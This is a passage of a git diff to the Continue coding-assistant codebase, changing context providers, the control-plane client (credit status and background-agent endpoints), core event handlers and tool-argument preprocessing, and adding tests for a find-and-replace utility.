expect(result).toHaveLength(3); + expect(result[0].uri).toEqual({ type: "file", value: "/test/file1.ts" }); + expect(result[1].uri).toBeUndefined(); + expect(result[2].uri).toBeNull(); // null uri becomes null + }); + + it("should use default values for missing fields", async () => { + const mockResponse = { + json: jest.fn().mockResolvedValue({ + // All fields missing except uri + uri: { + type: "file", + value: "/test/file.ts", + }, + }), + }; + + (mockExtras.fetch as jest.Mock).mockResolvedValue(mockResponse); + + const result = await provider.getContextItems("test query", mockExtras); + + expect(result).toHaveLength(1); + expect(result[0]).toEqual({ + description: "HTTP Context Item", // default value + content: "", // default value + name: "Test HTTP Provider", // from provider options + uri: { + type: "file", + value: "/test/file.ts", + }, + }); + }); + + it("should handle partial uri objects gracefully", async () => { + const mockResponse = { + json: jest.fn().mockResolvedValue({ + description: "Test item", + content: "Test content", + name: "Test", + uri: { + type: "file", + // missing value field - our fix should handle this gracefully + }, + }), + }; + + (mockExtras.fetch as jest.Mock).mockResolvedValue(mockResponse); + + const result = await provider.getContextItems("test query", mockExtras); + + expect(result).toHaveLength(1); + expect(result[0]).toEqual({ + description: "Test item", + content: "Test content", + name: "Test", + uri: { + type: "file", + value: undefined, // value is undefined when missing + }, + }); + }); + }); +}); diff --git a/core/context/providers/HttpContextProvider.ts b/core/context/providers/HttpContextProvider.ts index 5c879e064..9679c4641 100644 --- a/core/context/providers/HttpContextProvider.ts +++ b/core/context/providers/HttpContextProvider.ts @@ -72,7 +72,7 @@ class HttpContextProvider extends BaseContextProvider { description: item.description ?? "HTTP Context Item", content: item.content ?? "", name: item.name ?? this.options.title ?? "HTTP", - uri: { + uri: item.uri && { type: item.uri.type, value: item.uri.value, }, diff --git a/core/context/providers/RulesContextProvider.ts b/core/context/providers/RulesContextProvider.ts index 3a4cfbcdb..dd543b88d 100644 --- a/core/context/providers/RulesContextProvider.ts +++ b/core/context/providers/RulesContextProvider.ts @@ -22,11 +22,11 @@ class RulesContextProvider extends BaseContextProvider { // This is only used within this class. Worst case if there are exact duplicates is that one always calls the other, but this is an extreme edge case // Can eventually pull in more metadata, but this is experimental private getIdFromRule(rule: RuleWithSource): string { - return rule.ruleFile ?? rule.slug ?? rule.name ?? rule.rule; + return rule.slug ?? rule.sourceFile ?? rule.name ?? rule.rule; } private getNameFromRule(rule: RuleWithSource): string { - return rule.name ?? rule.slug ?? rule.ruleFile ?? rule.source; + return rule.name ?? rule.slug ?? rule.sourceFile ?? rule.source; } private getDescriptionFromRule(rule: RuleWithSource): string { @@ -37,10 +37,10 @@ class RulesContextProvider extends BaseContextProvider { rule: RuleWithSource, appUrl: string, ): ContextItemUri | undefined { - if (rule.ruleFile) { + if (rule.sourceFile) { return { type: "file", - value: rule.ruleFile, + value: rule.sourceFile, }; } diff --git a/core/context/providers/URLContextProvider.ts b/core/context/providers/URLContextProvider.ts index 3e025d08c..5d846b575 100644 --- a/core/context/providers/URLContextProvider.ts +++ b/core/context/providers/URLContextProvider.ts @@ -33,39 +33,40 @@ export async function getUrlContextItems( query: string, fetchFn: FetchFunction, ): Promise { - try { - const url = new URL(query); - const icon = await fetchFavicon(url); - const resp = await fetchFn(url); - const html = await resp.text(); + const url = new URL(query); + const icon = await fetchFavicon(url); + const resp = await fetchFn(url); - const dom = new JSDOM(html); - let reader = new Readability(dom.window.document); - let article = reader.parse(); - const content = article?.content || ""; - const markdown = NodeHtmlMarkdown.translate( - content, - {}, - undefined, - undefined, - ); - - const title = article?.title || url.pathname; - - return [ - { - icon, - description: url.toString(), - content: markdown, - name: title, - uri: { - type: "url", - value: url.toString(), - }, - }, - ]; - } catch (e) { - console.log(e); - return []; + // Check if the response is not OK + if (!resp.ok) { + throw new Error(`HTTP ${resp.status} ${resp.statusText}`); } + + const html = await resp.text(); + + const dom = new JSDOM(html); + let reader = new Readability(dom.window.document); + let article = reader.parse(); + const content = article?.content || ""; + const markdown = NodeHtmlMarkdown.translate( + content, + {}, + undefined, + undefined, + ); + + const title = article?.title || url.pathname; + + return [ + { + icon, + description: url.toString(), + content: markdown, + name: title, + uri: { + type: "url", + value: url.toString(), + }, + }, + ]; } diff --git a/core/context/retrieval/repoMapRequest.ts b/core/context/retrieval/repoMapRequest.ts index 094c25b27..9a0b88e5e 100644 --- a/core/context/retrieval/repoMapRequest.ts +++ b/core/context/retrieval/repoMapRequest.ts @@ -8,7 +8,7 @@ const SUPPORTED_MODEL_TITLE_FAMILIES = [ "claude-3", "llama3.1", "llama3.2", - "gemini-1.5", + "gemini-2.5", "gpt-4", ]; diff --git a/core/control-plane/client.ts b/core/control-plane/client.ts index 0a0650804..ef6994b13 100644 --- a/core/control-plane/client.ts +++ b/core/control-plane/client.ts @@ -12,10 +12,10 @@ import fetch, { RequestInit, Response } from "node-fetch"; import { OrganizationDescription } from "../config/ProfileLifecycleManager.js"; import { + BaseSessionMetadata, IDE, ModelDescription, Session, - BaseSessionMetadata, } from "../index.js"; import { Logger } from "../util/Logger.js"; @@ -39,12 +39,11 @@ export interface ControlPlaneWorkspace { export interface ControlPlaneModelDescription extends ModelDescription {} -export interface FreeTrialStatus { +export interface CreditStatus { optedInToFreeTrial: boolean; - chatCount?: number; - autocompleteCount?: number; - chatLimit: number; - autocompleteLimit: number; + hasCredits: boolean; + creditBalance: number; + hasPurchasedCredits: boolean; } export const TRIAL_PROXY_URL = @@ -55,6 +54,39 @@ export interface RemoteSessionMetadata extends BaseSessionMetadata { remoteId: string; } +export interface AgentSessionMetadata { + createdBy: string; + github_repo: string; + organizationId?: string; + idempotencyKey?: string; + source?: string; + continueApiKeyId?: string; + s3Url?: string; + prompt?: string | null; + createdBySlug?: string; +} + +export interface AgentSessionView { + id: string; + devboxId: string | null; + name: string | null; + icon: string | null; + status: string; + agentStatus: string | null; + unread: boolean; + state: string; + metadata: AgentSessionMetadata; + repoUrl: string; + branch: string | null; + pullRequestUrl: string | null; + pullRequestStatus: string | null; + tunnelUrl: string | null; + createdAt: string; + updatedAt: string; + create_time_ms: string; + end_time_ms: string; +} + export class ControlPlaneClient { constructor( readonly sessionInfoPromise: Promise, @@ -260,20 +292,20 @@ export class ControlPlaneClient { } } - public async getFreeTrialStatus(): Promise { + public async getCreditStatus(): Promise { if (!(await this.isSignedIn())) { return null; } try { - const resp = await this.requestAndHandleError("ide/free-trial-status", { + const resp = await this.requestAndHandleError("ide/credits", { method: "GET", }); - return (await resp.json()) as FreeTrialStatus; + return (await resp.json()) as CreditStatus; } catch (e) { // Capture control plane API failures to Sentry Logger.error(e, { - context: "control_plane_free_trial_status", + context: "control_plane_credit_status", }); return null; } @@ -320,7 +352,6 @@ export class ControlPlaneClient { /** * Check if remote sessions should be enabled based on feature flags - * Requires: PostHog feature flag AND @continue.dev email */ public async shouldEnableRemoteSessions(): Promise { // Check if user is signed in @@ -328,17 +359,13 @@ export class ControlPlaneClient { return false; } - // Check if user has @continue.dev email try { const sessionInfo = await this.sessionInfoPromise; if (isOnPremSession(sessionInfo) || !sessionInfo) { return false; } - const hubSession = sessionInfo as HubSessionInfo; - const email = hubSession.account?.id; - - return email ? email.includes("@continue.dev") : false; + return true; } catch (e) { Logger.error(e, { context: "control_plane_check_remote_sessions_enabled", @@ -356,7 +383,6 @@ export class ControlPlaneClient { /** * Fetch remote agents/sessions from the control plane - * Currently restricted to @continue.dev emails for internal use */ public async listRemoteSessions(): Promise { if (!(await this.isSignedIn())) { @@ -364,8 +390,6 @@ export class ControlPlaneClient { } try { - // Note: This endpoint is currently restricted to internal @continue.dev users - // In the future, this may be expanded to support broader remote session access const resp = await this.requestAndHandleError("agents/devboxes", { method: "GET", }); @@ -440,4 +464,203 @@ export class ControlPlaneClient { ); } } + + /** + * Create a new background agent + */ + public async createBackgroundAgent( + prompt: string, + repoUrl: string, + name: string, + branch?: string, + organizationId?: string, + contextItems?: any[], + selectedCode?: any[], + agent?: string, + ): Promise<{ id: string }> { + if (!(await this.isSignedIn())) { + throw new Error("Not signed in to Continue"); + } + + const requestBody: any = { + prompt, + repoUrl, + name, + branchName: branch, + }; + + if (organizationId) { + requestBody.organizationId = organizationId; + } + + // Include context items if provided + if (contextItems && contextItems.length > 0) { + requestBody.contextItems = contextItems.map((item) => ({ + content: item.content, + description: item.description, + name: item.name, + uri: item.uri, + })); + } + + // Include selected code if provided + if (selectedCode && selectedCode.length > 0) { + requestBody.selectedCode = selectedCode.map((code) => ({ + filepath: code.filepath, + range: code.range, + contents: code.contents, + })); + } + + // Include agent configuration if provided + if (agent) { + requestBody.agent = agent; + } + + const resp = await this.requestAndHandleError("agents", { + method: "POST", + headers: { + "Content-Type": "application/json", + }, + body: JSON.stringify(requestBody), + }); + + return (await resp.json()) as { id: string }; + } + + /** + * List all background agents for the current user or organization + * @param organizationId - Optional organization ID to filter agents by organization scope + * @param limit - Optional limit for number of agents to return (default: 5) + */ + public async listBackgroundAgents( + organizationId?: string, + limit?: number, + ): Promise<{ + agents: Array<{ + id: string; + name: string | null; + status: string; + repoUrl: string; + createdAt: string; + metadata?: { + github_repo?: string; + }; + }>; + totalCount: number; + }> { + if (!(await this.isSignedIn())) { + return { agents: [], totalCount: 0 }; + } + + try { + // Build URL with query parameters + const params = new URLSearchParams(); + if (organizationId) { + params.set("organizationId", organizationId); + } + if (limit !== undefined) { + params.set("limit", limit.toString()); + } + + const url = `agents${params.toString() ? `?${params.toString()}` : ""}`; + + const resp = await this.requestAndHandleError(url, { + method: "GET", + }); + + const result = (await resp.json()) as { + agents: AgentSessionView[]; + totalCount: number; + }; + + return { + agents: result.agents.map((agent) => ({ + id: agent.id, + name: agent.name, + status: agent.status, + repoUrl: agent.repoUrl, + createdAt: agent.createdAt, + metadata: { + github_repo: agent.metadata.github_repo, + }, + })), + totalCount: result.totalCount, + }; + } catch (e) { + Logger.error(e, { + context: "control_plane_list_background_agents", + }); + return { agents: [], totalCount: 0 }; + } + } + + /** + * Get the full agent session information + * @param agentSessionId - The ID of the agent session + * @returns The agent session view including metadata and status + */ + public async getAgentSession( + agentSessionId: string, + ): Promise { + if (!(await this.isSignedIn())) { + return null; + } + + try { + const resp = await this.requestAndHandleError( + `agents/${agentSessionId}`, + { + method: "GET", + }, + ); + + return (await resp.json()) as AgentSessionView; + } catch (e) { + Logger.error(e, { + context: "control_plane_get_agent_session", + agentSessionId, + }); + return null; + } + } + + /** + * Get the state of a specific background agent + * @param agentSessionId - The ID of the agent session + * @returns The agent's session state including history, workspace, and branch + */ + public async getAgentState(agentSessionId: string): Promise<{ + session: Session; + isProcessing: boolean; + messageQueueLength: number; + pendingPermission: any; + } | null> { + if (!(await this.isSignedIn())) { + return null; + } + + try { + const resp = await this.requestAndHandleError( + `agents/${agentSessionId}/state`, + { + method: "GET", + }, + ); + + const result = (await resp.json()) as { + session: Session; + isProcessing: boolean; + messageQueueLength: number; + pendingPermission: any; + }; + return result; + } catch (e) { + Logger.error(e, { + context: "control_plane_get_agent_state", + agentSessionId, + }); + return null; + } + } } diff --git a/core/core.ts b/core/core.ts index 0a83620ad..c73996a49 100644 --- a/core/core.ts +++ b/core/core.ts @@ -8,7 +8,6 @@ import { prevFilepaths, } from "./autocomplete/util/openedFilesLruCache"; import { ConfigHandler } from "./config/ConfigHandler"; -import { SYSTEM_PROMPT_DOT_FILE } from "./config/getWorkspaceContinueRuleDotFiles"; import { addModel, deleteModel } from "./config/util"; import { getAuthUrlForTokenPage } from "./control-plane/auth/index"; import { getControlPlaneEnv } from "./control-plane/env"; @@ -49,27 +48,34 @@ import { type IDE, } from "."; -import { BLOCK_TYPES, ConfigYaml } from "@continuedev/config-yaml"; +import { ConfigYaml } from "@continuedev/config-yaml"; import { getDiffFn, GitDiffCache } from "./autocomplete/snippets/gitDiffCache"; import { stringifyMcpPrompt } from "./commands/slash/mcpSlashCommand"; import { createNewAssistantFile } from "./config/createNewAssistantFile"; -import { isLocalDefinitionFile } from "./config/loadLocalAssistants"; +import { + isColocatedRulesFile, + isContinueAgentConfigFile, + isContinueConfigRelatedUri, +} from "./config/loadLocalAssistants"; import { CodebaseRulesCache } from "./config/markdown/loadCodebaseRules"; import { setupLocalConfig, setupProviderConfig, setupQuickstartConfig, } from "./config/onboarding"; -import { createNewWorkspaceBlockFile } from "./config/workspace/workspaceBlocks"; +import { + createNewGlobalRuleFile, + createNewWorkspaceBlockFile, +} from "./config/workspace/workspaceBlocks"; import { MCPManagerSingleton } from "./context/mcp/MCPManagerSingleton"; import { performAuth, removeMCPAuth } from "./context/mcp/MCPOauth"; import { setMdmLicenseKey } from "./control-plane/mdm/mdm"; +import { myersDiff } from "./diff/myers"; import { ApplyAbortManager } from "./edit/applyAbortManager"; import { streamDiffLines } from "./edit/streamDiffLines"; import { shouldIgnore } from "./indexing/shouldIgnore"; import { walkDirCache } from "./indexing/walkDir"; import { LLMLogger } from "./llm/logger"; -import { RULES_MARKDOWN_FILENAME } from "./llm/rules/constants"; import { llmStreamChat } from "./llm/streamChat"; import { BeforeAfterDiff } from "./nextEdit/context/diffFormatting"; import { processSmallEdit } from "./nextEdit/context/processSmallEdit"; @@ -78,18 +84,9 @@ import { NextEditProvider } from "./nextEdit/NextEditProvider"; import type { FromCoreProtocol, ToCoreProtocol } from "./protocol"; import { OnboardingModes } from "./protocol/core"; import type { IMessenger, Message } from "./protocol/messenger"; +import { ContinueError, ContinueErrorReason } from "./util/errors"; +import { shareSession } from "./util/historyUtils"; import { Logger } from "./util/Logger.js"; -import { getUriPathBasename } from "./util/uri"; - -const hasRulesFiles = (uris: string[]): boolean => { - for (const uri of uris) { - const filename = getUriPathBasename(uri); - if (filename === RULES_MARKDOWN_FILENAME) { - return true; - } - } - return false; -}; export class Core { configHandler: ConfigHandler; @@ -366,6 +363,13 @@ export class Core { historyManager.save(msg.data); }); + on("history/share", async (msg) => { + const session = historyManager.load(msg.data.id); + const outputDir = msg.data.outputDir; + const history = session.history.map((msg) => msg.message); + await shareSession(this.ide, history, outputDir); + }); + on("history/clear", (msg) => { historyManager.clearAll(); }); @@ -411,11 +415,19 @@ export class Core { ); }); + on("config/addGlobalRule", async (msg) => { + try { + await createNewGlobalRuleFile(this.ide); + await this.configHandler.reloadConfig( + "Global rule created (config/addGlobalRule message)", + ); + } catch (error) { + throw error; + } + }); + on("config/openProfile", async (msg) => { - await this.configHandler.openConfigProfile( - msg.data.profileId, - msg.data?.element, - ); + await this.configHandler.openConfigProfile(msg.data.profileId); }); on("config/ideSettingsUpdate", async (msg) => { @@ -461,9 +473,11 @@ export class Core { const urlPath = msg.data.path.startsWith("/") ? msg.data.path.slice(1) : msg.data.path; - let url = `${env.APP_URL}${urlPath}`; + let url; if (msg.data.orgSlug) { - url += `?org=${msg.data.orgSlug}`; + url = `${env.APP_URL}organizations/${msg.data.orgSlug}/${urlPath}`; + } else { + url = `${env.APP_URL}${urlPath}`; } await this.messenger.request("openUrl", url); }); @@ -472,19 +486,17 @@ export class Core { return await getControlPlaneEnv(this.ide.getIdeSettings()); }); - on("controlPlane/getFreeTrialStatus", async (msg) => { - return this.configHandler.controlPlaneClient.getFreeTrialStatus(); - }); - - on("controlPlane/getModelsAddOnUpgradeUrl", async (msg) => { - return this.configHandler.controlPlaneClient.getModelsAddOnCheckoutUrl( - msg.data.vsCodeUriScheme, - ); + on("controlPlane/getCreditStatus", async (msg) => { + return this.configHandler.controlPlaneClient.getCreditStatus(); }); on("mcp/reloadServer", async (msg) => { await MCPManagerSingleton.getInstance().refreshConnection(msg.data.id); }); + on("mcp/setServerEnabled", async (msg) => { + const { id, enabled } = msg.data; + await MCPManagerSingleton.getInstance().setEnabled(id, enabled); + }); on("mcp/getPrompt", async (msg) => { const { serverName, promptName, args } = msg.data; const prompt = await MCPManagerSingleton.getInstance().getPrompt( @@ -500,15 +512,26 @@ export class Core { }); on("mcp/startAuthentication", async (msg) => { await new Promise((resolve) => setTimeout(resolve, 5000)); - MCPManagerSingleton.getInstance().setStatus(msg.data, "authenticating"); - const status = await performAuth(msg.data, this.ide); + MCPManagerSingleton.getInstance().setStatus( + msg.data.serverId, + "authenticating", + ); + const status = await performAuth( + msg.data.serverId, + msg.data.serverUrl, + this.ide, + ); if (status === "AUTHORIZED") { - await MCPManagerSingleton.getInstance().refreshConnection(msg.data.id); + await MCPManagerSingleton.getInstance().refreshConnection( + msg.data.serverId, + ); } }); on("mcp/removeAuthentication", async (msg) => { - removeMCPAuth(msg.data, this.ide); - await MCPManagerSingleton.getInstance().refreshConnection(msg.data.id); + removeMCPAuth(msg.data.serverUrl, this.ide); + await MCPManagerSingleton.getInstance().refreshConnection( + msg.data.serverId, + ); }); // Context providers @@ -774,6 +797,10 @@ export class Core { ); }); + on("getDiffLines", (msg) => { + return myersDiff(msg.data.oldContent, msg.data.newContent); + }); + on("cancelApply", async (msg) => { const abortManager = ApplyAbortManager.getInstance(); abortManager.clear(); // for now abort all streams @@ -801,7 +828,6 @@ export class Core { if (data?.shouldClearIndexes) { await this.codeBaseIndexer.clearIndexes(); } - const dirs = data?.dirs ?? (await this.ide.getWorkspaceDirs()); await this.codeBaseIndexer.refreshCodebaseIndex(dirs); }); @@ -842,45 +868,70 @@ export class Core { }; on("files/created", async ({ data }) => { - if (data?.uris?.length) { - walkDirCache.invalidate(); - void refreshIfNotIgnored(data.uris); + if (!data?.uris?.length) { + return; + } - if (hasRulesFiles(data.uris)) { - const rulesCache = CodebaseRulesCache.getInstance(); - await Promise.all( - data.uris.map((uri) => rulesCache.update(this.ide, uri)), - ); - await this.configHandler.reloadConfig("Rules file created"); - } - // If it's a local assistant being created, we want to reload all assistants so it shows up in the list - let localAssistantCreated = false; - for (const uri of data.uris) { - if (isLocalDefinitionFile(uri)) { - localAssistantCreated = true; - } - } - if (localAssistantCreated) { - await this.configHandler.refreshAll("Local assistant file created"); - } + walkDirCache.invalidate(); + void refreshIfNotIgnored(data.uris); + + const colocatedRulesUris = data.uris.filter(isColocatedRulesFile); + const nonColocatedRuleUris = data.uris.filter( + (uri) => !isColocatedRulesFile(uri), + ); + if (colocatedRulesUris) { + const rulesCache = CodebaseRulesCache.getInstance(); + void Promise.all( + colocatedRulesUris.map((uri) => rulesCache.update(this.ide, uri)), + ).then(() => { + void this.configHandler.reloadConfig("Codebase rule file created"); + }); + } + + // If it's a local config being created, we want to reload all configs so it shows up in the list + if (nonColocatedRuleUris.some(isContinueAgentConfigFile)) { + await this.configHandler.refreshAll("Local config file created"); + } else if (nonColocatedRuleUris.some(isContinueConfigRelatedUri)) { + await this.configHandler.reloadConfig( + ".continue config-related file created", + ); } }); on("files/deleted", async ({ data }) => { - if (data?.uris?.length) { - walkDirCache.invalidate(); - void refreshIfNotIgnored(data.uris); + if (!data?.uris?.length) { + return; + } - if (hasRulesFiles(data.uris)) { - const rulesCache = CodebaseRulesCache.getInstance(); - data.uris.forEach((uri) => rulesCache.remove(uri)); - await this.configHandler.reloadConfig("Codebase rule file deleted"); - } + walkDirCache.invalidate(); + void refreshIfNotIgnored(data.uris); + + const colocatedRulesUris = data.uris.filter(isColocatedRulesFile); + const nonColocatedRuleUris = data.uris.filter( + (uri) => !isColocatedRulesFile(uri), + ); + + if (colocatedRulesUris) { + const rulesCache = CodebaseRulesCache.getInstance(); + void Promise.all( + colocatedRulesUris.map((uri) => rulesCache.remove(uri)), + ).then(() => { + void this.configHandler.reloadConfig("Codebase rule file deleted"); + }); + } + + // If it's a local config being deleted, we want to reload all configs so it disappears from the list + if (nonColocatedRuleUris.some(isContinueAgentConfigFile)) { + await this.configHandler.refreshAll("Local config file deleted"); + } else if (nonColocatedRuleUris.some(isContinueConfigRelatedUri)) { + await this.configHandler.reloadConfig( + ".continue config-related file deleted", + ); } }); on("files/closed", async ({ data }) => { - console.log("deleteChain called from files/closed"); + console.debug("deleteChain called from files/closed"); await NextEditProvider.getInstance().deleteChain(); try { @@ -1047,7 +1098,7 @@ export class Core { on( "tools/evaluatePolicy", - async ({ data: { toolName, basePolicy, args } }) => { + async ({ data: { toolName, basePolicy, parsedArgs, processedArgs } }) => { const { config } = await this.configHandler.loadConfig(); if (!config) { throw new Error("Config not loaded"); @@ -1055,27 +1106,60 @@ export class Core { const tool = config.tools.find((t) => t.function.name === toolName); if (!tool) { - // Tool not found, return base policy return { policy: basePolicy }; } // Extract display value for specific tools let displayValue: string | undefined; - if (toolName === "runTerminalCommand" && args.command) { - displayValue = args.command as string; + if (toolName === "runTerminalCommand" && parsedArgs.command) { + displayValue = parsedArgs.command as string; } - // If tool has evaluateToolCallPolicy function, use it if (tool.evaluateToolCallPolicy) { - const evaluatedPolicy = tool.evaluateToolCallPolicy(basePolicy, args); + const evaluatedPolicy = tool.evaluateToolCallPolicy( + basePolicy, + parsedArgs, + processedArgs, + ); return { policy: evaluatedPolicy, displayValue }; } - - // Otherwise return base policy unchanged return { policy: basePolicy, displayValue }; }, ); + on("tools/preprocessArgs", async ({ data: { toolName, args } }) => { + const { config } = await this.configHandler.loadConfig(); + if (!config) { + throw new Error("Config not loaded"); + } + + const tool = config?.tools.find((t) => t.function.name === toolName); + if (!tool) { + throw new Error(`Tool ${toolName} not found`); + } + + try { + const preprocessedArgs = await tool.preprocessArgs?.(args, { + ide: this.ide, + }); + return { + preprocessedArgs, + }; + } catch (e) { + let errorReason = + e instanceof ContinueError ? e.reason : ContinueErrorReason.Unknown; + let errorMessage = + e instanceof Error + ? e.message + : `Error preprocessing tool call args for ${toolName}\n${JSON.stringify(args)}`; + return { + preprocessedArgs: undefined, + errorReason, + errorMessage, + }; + } + }); + on("isItemTooBig", async ({ data: { item } }) => { return this.isItemTooBig(item); }); @@ -1204,10 +1288,9 @@ export class Core { const diffCache = GitDiffCache.getInstance(getDiffFn(this.ide)); diffCache.invalidate(); walkDirCache.invalidate(); // safe approach for now - TODO - only invalidate on relevant changes + const currentProfileUri = + this.configHandler.currentProfile?.profileDescription.uri ?? ""; for (const uri of data.uris) { - const currentProfileUri = - this.configHandler.currentProfile?.profileDescription.uri ?? ""; - if (URI.equal(uri, currentProfileUri)) { // Trigger a toast notification to provide UI feedback that config has been updated const showToast = @@ -1227,21 +1310,7 @@ export class Core { ); continue; } - - if ( - uri.endsWith(".continuerc.json") || - uri.endsWith(".prompt") || - uri.endsWith(SYSTEM_PROMPT_DOT_FILE) || - (uri.includes(".continue") && - (uri.endsWith(".yaml") || uri.endsWith("yml"))) || - BLOCK_TYPES.some((blockType) => - uri.includes(`.continue/${blockType}`), - ) - ) { - await this.configHandler.reloadConfig( - "Config-related file updated: continuerc, prompt, local block, etc", - ); - } else if (uri.endsWith(RULES_MARKDOWN_FILENAME)) { + if (isColocatedRulesFile(uri)) { try { const codebaseRulesCache = CodebaseRulesCache.getInstance(); void codebaseRulesCache.update(this.ide, uri).then(() => { @@ -1250,6 +1319,10 @@ export class Core { } catch (e) { Logger.error(`Failed to update codebase rule: ${e}`); } + } else if (isContinueConfigRelatedUri(uri)) { + await this.configHandler.reloadConfig( + "Local config-related file updated", + ); } else if ( uri.endsWith(".continueignore") || uri.endsWith(".gitignore") diff --git a/core/edit/searchAndReplace/executeFindAndReplace.vitest.ts b/core/edit/searchAndReplace/executeFindAndReplace.vitest.ts new file mode 100644 index 000000000..9ae1857b6 --- /dev/null +++ b/core/edit/searchAndReplace/executeFindAndReplace.vitest.ts @@ -0,0 +1,252 @@ +import { describe, expect, it } from "vitest"; +import { ContinueErrorReason } from "../../util/errors"; +import { executeFindAndReplace } from "./performReplace"; + +describe("executeFindAndReplace", () => { + describe("normal cases", () => { + it("should replace single occurrence by default", () => { + const content = "Hello world\nThis is a test file\nGoodbye"; + const result = executeFindAndReplace(content, "Hello", "Hi", false); + + expect(result).toBe("Hi world\nThis is a test file\nGoodbye"); + }); + + it("should replace single occurrence when replaceAll is false", () => { + const content = "Hello world\nHello again"; + const result = executeFindAndReplace( + content, + "Hello world", + "Hi world", + false, + ); + + expect(result).toBe("Hi world\nHello again"); + }); + + it("should replace all occurrences when replaceAll is true", () => { + const content = "Hello world\nHello again\nHello there"; + const result = executeFindAndReplace(content, "Hello", "Hi", true); + + expect(result).toBe("Hi world\nHi again\nHi there"); + }); + + it("should handle empty new string (deletion)", () => { + const content = "Hello world"; + const result = executeFindAndReplace(content, "Hello ", "", false); + + expect(result).toBe("world"); + }); + + it("should handle empty old string replacement (insertion at start)", () => { + const content = ""; + const result = executeFindAndReplace(content, "", "Hello world", false); + + expect(result).toBe("Hello world"); + }); + + it("should preserve whitespace and indentation", () => { + const content = + "function test() {\n const value = 'old';\n return value;\n}"; + const result = executeFindAndReplace( + content, + " const value = 'old';", + " const value = 'new';", + false, + ); + + expect(result).toBe( + "function test() {\n const value = 'new';\n return value;\n}", + ); + }); + + it("should handle multiline strings", () => { + const content = "line1\nline2\nline3"; + const result = executeFindAndReplace( + content, + "line1\nline2", + "newline1\nnewline2", + false, + ); + + expect(result).toBe("newline1\nnewline2\nline3"); + }); + }); + + describe("special character handling", () => { + it("should handle regex special characters in old string", () => { + const content = "const regex = /[a-z]+/g;"; + const result = executeFindAndReplace( + content, + "/[a-z]+/g", + "/[A-Z]+/g", + false, + ); + + expect(result).toBe("const regex = /[A-Z]+/g;"); + }); + + it("should handle dollar signs in strings", () => { + const content = 'const text = "Hello $world"'; + const result = executeFindAndReplace( + content, + '"Hello $world"', + '"Hi $universe"', + false, + ); + + expect(result).toBe('const text = "Hi $universe"'); + }); + + it("should handle backslashes", () => { + const content = 'const path = "C:\\Users\\test"'; + const result = executeFindAndReplace( + content, + "C:\\Users\\test", + "D:\\Users\\test", + false, + ); + + expect(result).toBe('const path = "D:\\Users\\test"'); + }); + + it("should handle parentheses", () => { + const content = "function test() { return 'old'; }"; + const result = executeFindAndReplace( + content, + "() { return 'old'; }", + "() { return 'new'; }", + false, + ); + + expect(result).toBe("function test() { return 'new'; }"); + }); + + it("should handle square brackets", () => { + const content = "const arr = [1, 2, 3];"; + const result = executeFindAndReplace( + content, + "[1, 2, 3]", + "[4, 5, 6]", + false, + ); + + expect(result).toBe("const arr = [4, 5, 6];"); + }); + }); + + describe("replaceAll behavior", () => { + it("should replace all occurrences including partial matches", () => { + const content = "test testing tested test"; + const result = executeFindAndReplace(content, "test", "exam", true); + + expect(result).toBe("exam examing examed exam"); + }); + + it("should replace all occurrences with empty string", () => { + const content = "remove this remove that remove everything"; + const result = executeFindAndReplace(content, "remove ", "", true); + + expect(result).toBe("this that everything"); + }); + + it("should handle overlapping patterns correctly", () => { + const content = "aaaa"; + const result = executeFindAndReplace(content, "aa", "b", true); + + expect(result).toBe("bb"); + }); + }); + + describe("error cases", () => { + it("should throw error when string not found", () => { + const content = "Hello world"; + + expect(() => { + executeFindAndReplace(content, "xyz", "abc", false); + }).toThrowError( + expect.objectContaining({ + reason: ContinueErrorReason.FindAndReplaceOldStringNotFound, + }), + ); + }); + + it("should throw error with edit context when string not found", () => { + const content = "Hello world"; + + expect(() => { + executeFindAndReplace(content, "xyz", "abc", false, 2); + }).toThrowError( + expect.objectContaining({ + reason: ContinueErrorReason.FindAndReplaceOldStringNotFound, + }), + ); + }); + + it("should throw error when multiple occurrences exist and replaceAll is false", () => { + const content = "Hello world\nHello again\nHello there"; + + expect(() => { + executeFindAndReplace(content, "Hello", "Hi", false); + }).toThrowError( + expect.objectContaining({ + reason: ContinueErrorReason.FindAndReplaceMultipleOccurrences, + }), + ); + }); + + it("should throw error with edit context for multiple occurrences", () => { + const content = "test test test"; + + expect(() => { + executeFindAndReplace(content, "test", "exam", false, 1); + }).toThrowError( + expect.objectContaining({ + reason: ContinueErrorReason.FindAndReplaceMultipleOccurrences, + }), + ); + }); + }); + + describe("edge cases", () => { + it("should handle single character replacement", () => { + const content = "a b c"; + const result = executeFindAndReplace(content, "b", "x", false); + + expect(result).toBe("a x c"); + }); + + it("should handle very long strings", () => { + const longString = "a".repeat(10000); + const content = `start${longString}end`; + const result = executeFindAndReplace(content, longString, "short", false); + + expect(result).toBe("startshortend"); + }); + + it("should handle strings at beginning of content", () => { + const content = "start middle end"; + const result = executeFindAndReplace(content, "start", "begin", false); + + expect(result).toBe("begin middle end"); + }); + + it("should handle strings at end of content", () => { + const content = "start middle end"; + const result = executeFindAndReplace(content, "end", "finish", false); + + expect(result).toBe("start middle finish"); + }); + + it("should handle entire content replacement", () => { + const content = "replace everything"; + const result = executeFindAndReplace( + content, + "replace everything", + "new content", + false, + ); + + expect(result).toBe("new content"); + }); + }); +}); diff --git a/core/edit/searchAndReplace/findAndReplaceUtils.ts b/core/edit/searchAndReplace/findAndReplaceUtils.ts new file mode 100644 index 000000000..e3185374e --- /dev/null +++ b/core/edit/searchAndReplace/findAndReplaceUtils.ts @@ -0,0 +1,61 @@ +import { ContinueError, ContinueErrorReason } from "../../util/errors"; + +export const FOUND_MULTIPLE_FIND_STRINGS_ERROR = + "Either provide a more specific string with surrounding context to make it unique, or use replace_all=true to replace all occurrences."; + +/** + * Validates a single edit operation + */ +export function validateSingleEdit( + oldString: unknown, + newString: unknown, + replaceAll: unknown, + index?: number, +): { oldString: string; newString: string; replaceAll?: boolean } { + const context = index !== undefined ? `edit at index ${index}: ` : ""; + + if (oldString === undefined || typeof oldString !== "string") { + throw new ContinueError( + ContinueErrorReason.FindAndReplaceMissingOldString, + `${context}string old_string is required`, + ); + } + if (newString === undefined || typeof newString !== "string") { + throw new ContinueError( + ContinueErrorReason.FindAndReplaceMissingNewString, + `${context}string new_string is required`, + ); + } + if (oldString === newString) { + throw new ContinueError( + ContinueErrorReason.FindAndReplaceIdenticalOldAndNewStrings, + `${context}old_string and new_string must be different`, + ); + } + if (replaceAll !== undefined && typeof replaceAll !== "boolean") { + throw new ContinueError( + ContinueErrorReason.FindAndReplaceInvalidReplaceAll, + `${context}replace_all must be a valid boolean`, + ); + } + return { oldString, newString, replaceAll }; +} + +export function 